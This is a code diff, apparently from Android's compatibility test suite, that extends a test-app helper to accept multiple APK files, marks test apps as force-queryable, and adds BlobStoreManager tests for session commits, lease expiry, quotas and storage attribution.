--- a/libs/install/src/com/android/cts/install/lib/TestApp.java
+++ b/libs/install/src/com/android/cts/install/lib/TestApp.java
@@ -81,21 +81,33 @@
         mGetResourceStream = (res) -> TestApp.class.getClassLoader().getResourceAsStream(res);
     }
 
-    public TestApp(String name, String packageName, long versionCode, boolean isApex, File path) {
+    public TestApp(String name, String packageName, long versionCode, boolean isApex,
+            File[] paths) {
         mName = name;
         mPackageName = packageName;
         mVersionCode = versionCode;
-        mResourceNames = new String[] { path.getName() };
+        mResourceNames = new String[paths.length];
+        for (int i = 0; i < paths.length; ++i) {
+            mResourceNames[i] = paths[i].getName();
+        }
         mIsApex = isApex;
         mGetResourceStream = (res) -> {
             try {
-                return new FileInputStream(path);
-            } catch (FileNotFoundException e) {
-                return null;
+                for (int i = 0; i < paths.length; ++i) {
+                    if (paths[i].getName().equals(res)) {
+                        return new FileInputStream(paths[i]);
+                    }
+                }
+            } catch (FileNotFoundException ignore) {
             }
+            return null;
         };
     }
 
+    public TestApp(String name, String packageName, long versionCode, boolean isApex, File path) {
+        this(name, packageName, versionCode, isApex, new File[]{ path });
+    }
+
     public String getPackageName() {
         return mPackageName;
     }
diff --git a/libs/install/testapp/ACrashingV2.xml b/libs/install/testapp/ACrashingV2.xml
index 338a5b9..0ec90cf 100644
--- a/libs/install/testapp/ACrashingV2.xml
+++ b/libs/install/testapp/ACrashingV2.xml
@@ -22,7 +22,7 @@
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Test App A v2">
+    <application android:label="Test App A v2" android:forceQueryable="true">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
                   android:exported="true" />
         <activity android:name="com.android.cts.install.lib.testapp.CrashingMainActivity">
diff --git a/libs/install/testapp/Av1.xml b/libs/install/testapp/Av1.xml
index e9714fc..5b47699 100644
--- a/libs/install/testapp/Av1.xml
+++ b/libs/install/testapp/Av1.xml
@@ -22,7 +22,7 @@
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Test App A1">
+    <application android:label="Test App A1" android:forceQueryable="true">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
                   android:exported="true" />
         <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
diff --git a/libs/install/testapp/Av2.xml b/libs/install/testapp/Av2.xml
index fd8afa0..9f2c21a 100644
--- a/libs/install/testapp/Av2.xml
+++ b/libs/install/testapp/Av2.xml
@@ -22,7 +22,7 @@
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Test App A2">
+    <application android:label="Test App A2" android:forceQueryable="true">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
             android:exported="true" />
         <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
diff --git a/libs/install/testapp/Av3.xml b/libs/install/testapp/Av3.xml
index a7839e3..d86aebd 100644
--- a/libs/install/testapp/Av3.xml
+++ b/libs/install/testapp/Av3.xml
@@ -22,7 +22,7 @@
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Test App A3">
+    <application android:label="Test App A3" android:forceQueryable="true">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
             android:exported="true" />
         <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
diff --git a/libs/install/testapp/Bv1.xml b/libs/install/testapp/Bv1.xml
index 403e7e2..f990713 100644
--- a/libs/install/testapp/Bv1.xml
+++ b/libs/install/testapp/Bv1.xml
@@ -22,7 +22,7 @@
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Test App B1">
+    <application android:label="Test App B1" android:forceQueryable="true">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
             android:exported="true" />
         <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
diff --git a/libs/install/testapp/Bv2.xml b/libs/install/testapp/Bv2.xml
index f030c3f..3bd7292 100644
--- a/libs/install/testapp/Bv2.xml
+++ b/libs/install/testapp/Bv2.xml
@@ -22,7 +22,7 @@
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Test App B2">
+    <application android:label="Test App B2" android:forceQueryable="true">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
             android:exported="true" />
         <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
diff --git a/libs/install/testapp/Cv1.xml b/libs/install/testapp/Cv1.xml
index edb69f9..32f6989 100644
--- a/libs/install/testapp/Cv1.xml
+++ b/libs/install/testapp/Cv1.xml
@@ -23,7 +23,7 @@
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Test App C1">
+    <application android:label="Test App C1" android:forceQueryable="true">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
             android:exported="true" />
         <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
diff --git a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
index ba06090..bb86844 100644
--- a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
+++ b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
@@ -22,6 +22,7 @@
 import static com.android.utils.blob.Utils.assertNoLeasedBlobs;
 import static com.android.utils.blob.Utils.releaseLease;
 import static com.android.utils.blob.Utils.TAG;
+import static com.android.utils.blob.Utils.runShellCmd;
 import static com.android.utils.blob.Utils.triggerIdleMaintenance;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -61,10 +62,17 @@
 import org.junit.runner.RunWith;
 
 import java.io.IOException;
+import java.io.OutputStream;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.Collections;
 import java.util.Map;
 import java.util.Objects;
+import java.util.Random;
 import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
@@ -80,16 +88,24 @@
 
     private static final long TIMEOUT_BIND_SERVICE_SEC = 2;
 
+    private static final long TIMEOUT_WAIT_FOR_IDLE_MS = 2_000;
+
     // TODO: Make it a @TestApi or move the test using this to a different location.
     // Copy of DeviceConfig.NAMESPACE_BLOBSTORE constant
     private static final String NAMESPACE_BLOBSTORE = "blobstore";
     private static final String KEY_SESSION_EXPIRY_TIMEOUT_MS = "session_expiry_timeout_ms";
     private static final String KEY_LEASE_ACQUISITION_WAIT_DURATION_MS =
             "lease_acquisition_wait_time_ms";
+    private static final String KEY_DELETE_ON_LAST_LEASE_DELAY_MS =
+            "delete_on_last_lease_delay_ms";
     private static final String KEY_TOTAL_BYTES_PER_APP_LIMIT_FLOOR =
             "total_bytes_per_app_limit_floor";
-    public static final String KEY_TOTAL_BYTES_PER_APP_LIMIT_FRACTION =
+    private static final String KEY_TOTAL_BYTES_PER_APP_LIMIT_FRACTION =
             "total_bytes_per_app_limit_fraction";
+    private static final String KEY_MAX_ACTIVE_SESSIONS = "max_active_sessions";
+    private static final String KEY_MAX_COMMITTED_BLOBS = "max_committed_blobs";
+    private static final String KEY_MAX_LEASED_BLOBS = "max_leased_blobs";
+    private static final String KEY_MAX_BLOB_ACCESS_PERMITTED_PACKAGES = "max_permitted_pks";
 
     private static final String HELPER_PKG = "com.android.cts.blob.helper";
     private static final String HELPER_PKG2 = "com.android.cts.blob.helper2";
@@ -116,9 +132,9 @@
 
     @After
     public void tearDown() throws Exception {
-        for (BlobHandle blobHandle : mBlobStoreManager.getLeasedBlobs()) {
-            mBlobStoreManager.releaseLease(blobHandle);
-        }
+        runShellCmd("cmd blob_store clear-all-sessions");
+        runShellCmd("cmd blob_store clear-all-blobs");
+        mContext.getFilesDir().delete();
     }
 
     @Test
@@ -201,9 +217,15 @@
                 blobData.readFromSessionAndVerifyBytes(session,
                         101 /* offset */, 1001 /* length */);
 
-                blobData.writeToSession(session, 202 /* offset */, 2002 /* length */);
+                blobData.writeToSession(session, 202 /* offset */, 2002 /* length */,
+                        blobData.getFileSize());
                 blobData.readFromSessionAndVerifyBytes(session,
                         202 /* offset */, 2002 /* length */);
+
+                final CompletableFuture<Integer> callback = new CompletableFuture<>();
+                session.commit(mContext.getMainExecutor(), callback::complete);
+                assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
+                        .isEqualTo(0);
             }
         } finally {
             blobData.delete();
@@ -591,6 +613,228 @@
     }
 
     @Test
+    public void testSessionCommit_incompleteData() throws Exception {
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        blobData.prepare();
+        try {
+            final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
+            assertThat(sessionId).isGreaterThan(0L);
+
+            try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+                blobData.writeToSession(session, 0, blobData.getFileSize() - 2);
+
+                final CompletableFuture<Integer> callback = new CompletableFuture<>();
+                session.commit(mContext.getMainExecutor(), callback::complete);
+                assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
+                        .isEqualTo(1);
+            }
+        } finally {
+            blobData.delete();
+        }
+    }
+
+    @Test
+    public void testSessionCommit_incorrectData() throws Exception {
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        blobData.prepare();
+        try {
+            final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
+            assertThat(sessionId).isGreaterThan(0L);
+
+            try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+                blobData.writeToSession(session, 0, blobData.getFileSize());
+                try (OutputStream out = new ParcelFileDescriptor.AutoCloseOutputStream(
+                        session.openWrite(0, blobData.getFileSize()))) {
+                    out.write("wrong_data".getBytes(StandardCharsets.UTF_8));
+                }
+
+                final CompletableFuture<Integer> callback = new CompletableFuture<>();
+                session.commit(mContext.getMainExecutor(), callback::complete);
+                assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
+                        .isEqualTo(1);
+            }
+        } finally {
+            blobData.delete();
+        }
+    }
+
+    @Test
+    public void testRecommitBlob() throws Exception {
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        blobData.prepare();
+
+        try {
+            commitBlob(blobData);
+            // Verify that blob can be accessed after committing.
+            try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
+                assertThat(pfd).isNotNull();
+                blobData.verifyBlob(pfd);
+            }
+
+            commitBlob(blobData);
+            // Verify that blob can be accessed after re-committing.
+            try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
+                assertThat(pfd).isNotNull();
+                blobData.verifyBlob(pfd);
+            }
+        } finally {
+            blobData.delete();
+        }
+    }
+
+    @Test
+    public void testRecommitBlob_fromMultiplePackages() throws Exception {
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        blobData.prepare();
+        final TestServiceConnection connection = bindToHelperService(HELPER_PKG);
+        try {
+            commitBlob(blobData);
+            // Verify that blob can be accessed after committing.
+            try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
+                assertThat(pfd).isNotNull();
+                blobData.verifyBlob(pfd);
+            }
+
+            commitBlobFromPkg(blobData, connection);
+            // Verify that blob can be accessed after re-committing.
+            try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
+                assertThat(pfd).isNotNull();
+                blobData.verifyBlob(pfd);
+            }
+            assertPkgCanAccess(blobData, connection);
+        } finally {
+            blobData.delete();
+            connection.unbind();
+        }
+    }
+
+    @Test
+    public void testSessionCommit_largeBlob() throws Exception {
+        final long fileSizeBytes = Math.min(mBlobStoreManager.getRemainingLeaseQuotaBytes(),
+                150 * 1024L * 1024L);
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+                .setFileSize(fileSizeBytes)
+                .build();
+        blobData.prepare();
+        final long commitTimeoutSec = TIMEOUT_COMMIT_CALLBACK_SEC * 2;
+        try {
+            final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
+            assertThat(sessionId).isGreaterThan(0L);
+            try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+                blobData.writeToSession(session);
+
+                final CompletableFuture<Integer> callback = new CompletableFuture<>();
+                session.commit(mContext.getMainExecutor(), callback::complete);
+                assertThat(callback.get(commitTimeoutSec, TimeUnit.SECONDS))
+                        .isEqualTo(0);
+            }
+
+            // Verify that blob can be accessed after committing.
+            try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
+                assertThat(pfd).isNotNull();
+                blobData.verifyBlob(pfd);
+            }
+        } finally {
+            blobData.delete();
+        }
+    }
+
+    @Test
+    public void testCommitSession_multipleWrites() throws Exception {
+        final int numThreads = 2;
+        final Random random = new Random(0);
+        final ExecutorService executorService = Executors.newFixedThreadPool(numThreads);
+        final CompletableFuture<Throwable>[] completableFutures = new CompletableFuture[numThreads];
+        for (int i = 0; i < numThreads; ++i) {
+            completableFutures[i] = CompletableFuture.supplyAsync(() -> {
+                final int minSizeMb = 30;
+                final long fileSizeBytes = (minSizeMb + random.nextInt(minSizeMb)) * 1024L * 1024L;
+                final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+                        .setFileSize(fileSizeBytes)
+                        .build();
+                try {
+                    blobData.prepare();
+                    commitAndVerifyBlob(blobData);
+                } catch (Throwable t) {
+                    return t;
+                } finally {
+                    blobData.delete();
+                }
+                return null;
+            }, executorService);
+        }
+        final ArrayList<Throwable> invalidResults = new ArrayList<>();
+        for (int i = 0; i < numThreads; ++i) {
+             final Throwable result = completableFutures[i].get();
+             if (result != null) {
+                 invalidResults.add(result);
+             }
+        }
+        assertThat(invalidResults).isEmpty();
+    }
+
+    @Test
+    public void testCommitSession_multipleReadWrites() throws Exception {
+        final int numThreads = 2;
+        final Random random = new Random(0);
+        final ExecutorService executorService = Executors.newFixedThreadPool(numThreads);
+        final CompletableFuture<Throwable>[] completableFutures = new CompletableFuture[numThreads];
+        for (int i = 0; i < numThreads; ++i) {
+            completableFutures[i] = CompletableFuture.supplyAsync(() -> {
+                final int minSizeMb = 30;
+                final long fileSizeBytes = (minSizeMb + random.nextInt(minSizeMb)) * 1024L * 1024L;
+                final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+                        .setFileSize(fileSizeBytes)
+                        .build();
+                try {
+                    blobData.prepare();
+                    final long sessionId = mBlobStoreManager.createSession(
+                            blobData.getBlobHandle());
+                    assertThat(sessionId).isGreaterThan(0L);
+                    try (BlobStoreManager.Session session = mBlobStoreManager.openSession(
+                            sessionId)) {
+                        final long partialFileSizeBytes = minSizeMb * 1024L * 1024L;
+                        blobData.writeToSession(session, 0L, partialFileSizeBytes,
+                                blobData.getFileSize());
+                        blobData.readFromSessionAndVerifyBytes(session, 0L,
+                                (int) partialFileSizeBytes);
+                        blobData.writeToSession(session, partialFileSizeBytes,
+                                blobData.getFileSize() - partialFileSizeBytes,
+                                blobData.getFileSize());
+                        blobData.readFromSessionAndVerifyBytes(session, partialFileSizeBytes,
+                                (int) (blobData.getFileSize() - partialFileSizeBytes));
+
+                        final CompletableFuture<Integer> callback = new CompletableFuture<>();
+                        session.commit(mContext.getMainExecutor(), callback::complete);
+                        assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
+                                .isEqualTo(0);
+                    }
+
+                    // Verify that blob can be accessed after committing.
+                    try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(
+                            blobData.getBlobHandle())) {
+                        assertThat(pfd).isNotNull();
+                        blobData.verifyBlob(pfd);
+                    }
+                } catch (Throwable t) {
+                    return t;
+                } finally {
+                    blobData.delete();
+                }
+                return null;
+            }, executorService);
+        }
+        final ArrayList<Throwable> invalidResults = new ArrayList<>();
+        for (int i = 0; i < numThreads; ++i) {
+            final Throwable result = completableFutures[i].get();
+            if (result != null) {
+                invalidResults.add(result);
+            }
+        }
+        assertThat(invalidResults).isEmpty();
+    }
+
+    @Test
     public void testOpenBlob() throws Exception {
         final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
         blobData.prepare();
@@ -601,7 +845,7 @@
             try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
                 blobData.writeToSession(session);
 
-                // Verify that trying to access the blob before commit throws
+                // Verify that trying to accessed the blob before commit throws
                 assertThrows(SecurityException.class,
                         () -> mBlobStoreManager.openBlob(blobData.getBlobHandle()));
 
@@ -611,7 +855,7 @@
                         .isEqualTo(0);
             }
 
-            // Verify that blob can be access after committing.
+            // Verify that blob can be accessed after committing.
             try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
                 assertThat(pfd).isNotNull();
 
@@ -696,11 +940,30 @@
     }
 
     @Test
-    public void testAcquireRelease_deleteImmediately() throws Exception {
+    public void testAcquireLease_leaseExpired() throws Exception {
         final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
         blobData.prepare();
+        final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+        try {
+            commitBlob(blobData);
+
+            acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+                    System.currentTimeMillis() + waitDurationMs);
+            assertLeasedBlobs(mBlobStoreManager, blobData.getBlobHandle());
+
+            waitForLeaseExpiration(waitDurationMs, blobData.getBlobHandle());
+            assertNoLeasedBlobs(mBlobStoreManager);
+        } finally {
+            blobData.delete();
+        }
+    }
+
+    @Test
+    public void testAcquireRelease_deleteAfterDelay() throws Exception {
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(1);
         runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
             try {
                 commitBlob(blobData);
 
@@ -713,6 +976,10 @@
                 releaseLease(mContext, blobData.getBlobHandle());
                 assertNoLeasedBlobs(mBlobStoreManager);
 
+                SystemClock.sleep(waitDurationMs);
+                SystemUtil.runWithShellPermissionIdentity(() ->
+                        mBlobStoreManager.waitForIdle(TIMEOUT_WAIT_FOR_IDLE_MS));
+
                 assertThrows(SecurityException.class, () -> mBlobStoreManager.acquireLease(
                         blobData.getBlobHandle(), R.string.test_desc,
                         blobData.getExpiryTimeMillis()));
@@ -720,7 +987,8 @@
             } finally {
                 blobData.delete();
             }
-        }, Pair.create(KEY_LEASE_ACQUISITION_WAIT_DURATION_MS, String.valueOf(waitDurationMs)));
+        }, Pair.create(KEY_LEASE_ACQUISITION_WAIT_DURATION_MS, String.valueOf(waitDurationMs)),
+                Pair.create(KEY_DELETE_ON_LAST_LEASE_DELAY_MS, String.valueOf(waitDurationMs)));
     }
 
     @Test
@@ -762,7 +1030,7 @@
         final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
         assertThat(sessionId).isGreaterThan(0L);
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
-            blobData.writeToSession(session, 0, partialFileSize);
+            blobData.writeToSession(session, 0, partialFileSize, partialFileSize);
         }
 
         StorageStats afterStatsForPkg = storageStatsManager
@@ -779,7 +1047,8 @@
         // Complete writing data.
         final long totalFileSize = blobData.getFileSize();
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
-            blobData.writeToSession(session, partialFileSize, totalFileSize - partialFileSize);
+            blobData.writeToSession(session, partialFileSize, totalFileSize - partialFileSize,
+                    totalFileSize);
         }
 
         afterStatsForPkg = storageStatsManager
@@ -795,7 +1064,8 @@
 
         // Commit the session.
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
-            blobData.writeToSession(session, partialFileSize, session.getSize() - partialFileSize);
+            blobData.writeToSession(session, partialFileSize,
+                    session.getSize() - partialFileSize, blobData.getFileSize());
             final CompletableFuture<Integer> callback = new CompletableFuture<>();
             session.commit(mContext.getMainExecutor(), callback::complete);
             assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
@@ -914,6 +1184,64 @@
     }
 
     @Test
+    public void testStorageAttribution_withExpiredLease() throws Exception {
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        blobData.prepare();
+
+        final StorageStatsManager storageStatsManager = mContext.getSystemService(
+                StorageStatsManager.class);
+        StorageStats beforeStatsForPkg = storageStatsManager
+                .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+        StorageStats beforeStatsForUid = storageStatsManager
+                .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+        commitBlob(blobData);
+
+        StorageStats afterStatsForPkg = storageStatsManager
+                .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+        StorageStats afterStatsForUid = storageStatsManager
+                .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+        // No leases on the blob, so it should not be attributed.
+        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
+                .isEqualTo(0L);
+        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
+                .isEqualTo(0L);
+
+        final long leaseExpiryDurationMs = TimeUnit.SECONDS.toMillis(5);
+        acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+                System.currentTimeMillis() + leaseExpiryDurationMs);
+
+        final long startTimeMs = System.currentTimeMillis();
+        afterStatsForPkg = storageStatsManager
+                .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+        afterStatsForUid = storageStatsManager
+                .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
+                .isEqualTo(blobData.getFileSize());
+        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
+                .isEqualTo(blobData.getFileSize());
+
+        waitForLeaseExpiration(
+                Math.abs(leaseExpiryDurationMs - (System.currentTimeMillis() - startTimeMs)),
+                blobData.getBlobHandle());
+
+        afterStatsForPkg = storageStatsManager
+                .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+        afterStatsForUid = storageStatsManager
+                .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+        // Lease is expired, so it should not be attributed anymore.
+        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
+                .isEqualTo(0L);
+        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
+                .isEqualTo(0L);
+
+        blobData.delete();
+    }
+
+    @Test
     public void testLeaseQuotaExceeded() throws Exception {
         final long totalBytes = Environment.getDataDirectory().getTotalSpace();
         final long limitBytes = 100 * Utils.MB_IN_BYTES;
@@ -969,6 +1297,36 @@
     }
 
     @Test
+    public void testLeaseQuotaExceeded_withExpiredLease() throws Exception {
+        final long totalBytes = Environment.getDataDirectory().getTotalSpace();
+        final long limitBytes = 50 * Utils.MB_IN_BYTES;
+        final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext)
+                    .setFileSize(40 * Utils.MB_IN_BYTES)
+                    .build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext)
+                    .setFileSize(30 * Utils.MB_IN_BYTES)
+                    .build();
+            blobData2.prepare();
+
+            commitBlob(blobData1);
+            commitBlob(blobData2);
+            acquireLease(mContext, blobData1.getBlobHandle(), R.string.test_desc,
+                    System.currentTimeMillis() + waitDurationMs);
+
+            assertThrows(LimitExceededException.class, () -> mBlobStoreManager.acquireLease(
+                    blobData2.getBlobHandle(), R.string.test_desc));
+
+            waitForLeaseExpiration(waitDurationMs, blobData1.getBlobHandle());
+            acquireLease(mContext, blobData2.getBlobHandle(), R.string.test_desc);
+        }, Pair.create(KEY_TOTAL_BYTES_PER_APP_LIMIT_FLOOR, String.valueOf(limitBytes)),
+                Pair.create(KEY_TOTAL_BYTES_PER_APP_LIMIT_FRACTION,
+                        String.valueOf((double) limitBytes / totalBytes)));
+    }
+
+    @Test
     public void testRemainingLeaseQuota() throws Exception {
         final long initialRemainingQuota = mBlobStoreManager.getRemainingLeaseQuotaBytes();
         final long blobSize = 100 * Utils.MB_IN_BYTES;
@@ -993,6 +1351,116 @@
     }
 
     @Test
+    public void testRemainingLeaseQuota_withExpiredLease() throws Exception {
+        final long initialRemainingQuota = mBlobStoreManager.getRemainingLeaseQuotaBytes();
+        final long blobSize = 100 * Utils.MB_IN_BYTES;
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+                .setFileSize(blobSize)
+                .build();
+        blobData.prepare();
+
+        final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+        commitBlob(blobData);
+        acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+                System.currentTimeMillis() + waitDurationMs);
+        assertLeasedBlobs(mBlobStoreManager, blobData.getBlobHandle());
+
+        assertThat(mBlobStoreManager.getRemainingLeaseQuotaBytes())
+                .isEqualTo(initialRemainingQuota - blobSize);
+
+        waitForLeaseExpiration(waitDurationMs, blobData.getBlobHandle());
+        assertNoLeasedBlobs(mBlobStoreManager);
+
+        assertThat(mBlobStoreManager.getRemainingLeaseQuotaBytes())
+                .isEqualTo(initialRemainingQuota);
+    }
+
+    @Test
+    public void testAccessExpiredBlob() throws Exception {
+        final long expiryDurationMs = TimeUnit.SECONDS.toMillis(6);
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+                .setExpiryDurationMs(expiryDurationMs)
+                .build();
+        blobData.prepare();
+
+        final long startTimeMs = System.currentTimeMillis();
+        final long blobId = commitBlob(blobData);
+        assertThat(runShellCmd("cmd blob_store query-blob-existence -b " + blobId)).isEqualTo("1");
+        final long commitDurationMs = System.currentTimeMillis() - startTimeMs;
+
+        SystemClock.sleep(Math.abs(expiryDurationMs - commitDurationMs));
+
+        assertThrows(SecurityException.class,
+                () -> mBlobStoreManager.openBlob(blobData.getBlobHandle()));
+        assertThrows(SecurityException.class,
+                () -> mBlobStoreManager.acquireLease(blobData.getBlobHandle(),
+                        R.string.test_desc));
+
+        triggerIdleMaintenance();
+        assertThat(runShellCmd("cmd blob_store query-blob-existence -b " + blobId)).isEqualTo("0");
+    }
+
+    @Test
+    public void testAccessExpiredBlob_withLeaseAcquired() throws Exception {
+        final long expiryDurationMs = TimeUnit.SECONDS.toMillis(6);
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+                .setExpiryDurationMs(expiryDurationMs)
+                .build();
+        blobData.prepare();
+
+        final long startTimeMs = System.currentTimeMillis();
+        final long blobId = commitBlob(blobData);
+        assertThat(runShellCmd("cmd blob_store query-blob-existence -b " + blobId)).isEqualTo("1");
+        final long commitDurationMs = System.currentTimeMillis() - startTimeMs;
+        acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc);
+
+        SystemClock.sleep(Math.abs(expiryDurationMs - commitDurationMs));
+
+        assertThrows(SecurityException.class,
+                () -> mBlobStoreManager.openBlob(blobData.getBlobHandle()));
+        assertThrows(SecurityException.class,
+                () -> mBlobStoreManager.acquireLease(blobData.getBlobHandle(),
+                        R.string.test_desc));
+
+        triggerIdleMaintenance();
+        assertThat(runShellCmd("cmd blob_store query-blob-existence -b " + blobId)).isEqualTo("0");
+    }
+
+    @Test
+    public void testAccessBlob_withExpiredLease() throws Exception {
+        final long leaseExpiryDurationMs = TimeUnit.SECONDS.toMillis(2);
+        final long leaseAcquisitionWaitDurationMs = TimeUnit.SECONDS.toMillis(1);
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
+            try {
+                final long blobId = commitBlob(blobData);
+                assertThat(runShellCmd("cmd blob_store query-blob-existence -b " + blobId))
+                        .isEqualTo("1");
+
+                acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+                        System.currentTimeMillis() + leaseExpiryDurationMs);
+                assertLeasedBlobs(mBlobStoreManager, blobData.getBlobHandle());
+
+                waitForLeaseExpiration(leaseExpiryDurationMs, blobData.getBlobHandle());
+                assertNoLeasedBlobs(mBlobStoreManager);
+
+                triggerIdleMaintenance();
+                assertThat(runShellCmd("cmd blob_store query-blob-existence -b " + blobId))
+                        .isEqualTo("0");
+
+                assertThrows(SecurityException.class, () -> mBlobStoreManager.acquireLease(
+                        blobData.getBlobHandle(), R.string.test_desc,
+                        blobData.getExpiryTimeMillis()));
+                assertNoLeasedBlobs(mBlobStoreManager);
+            } finally {
+                blobData.delete();
+            }
+        }, Pair.create(KEY_LEASE_ACQUISITION_WAIT_DURATION_MS,
+                String.valueOf(leaseAcquisitionWaitDurationMs)));
+    }
+
+    @Test
     public void testCommitBlobAfterIdleMaintenance() throws Exception {
         final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
         blobData.prepare();
@@ -1002,17 +1470,17 @@
         assertThat(sessionId).isGreaterThan(0L);
 
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
-            blobData.writeToSession(session, 0, partialFileSize);
+            blobData.writeToSession(session, 0, partialFileSize, blobData.getFileSize());
         }
 
         SystemClock.sleep(waitDurationMs);
 
         // Trigger idle maintenance which takes of deleting expired sessions.
-        triggerIdleMaintenance(InstrumentationRegistry.getInstrumentation());
+        triggerIdleMaintenance();
 
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
             blobData.writeToSession(session, partialFileSize,
-                    blobData.getFileSize() - partialFileSize);
+                    blobData.getFileSize() - partialFileSize, blobData.getFileSize());
             final CompletableFuture<Integer> callback = new CompletableFuture<>();
             session.commit(mContext.getMainExecutor(), callback::complete);
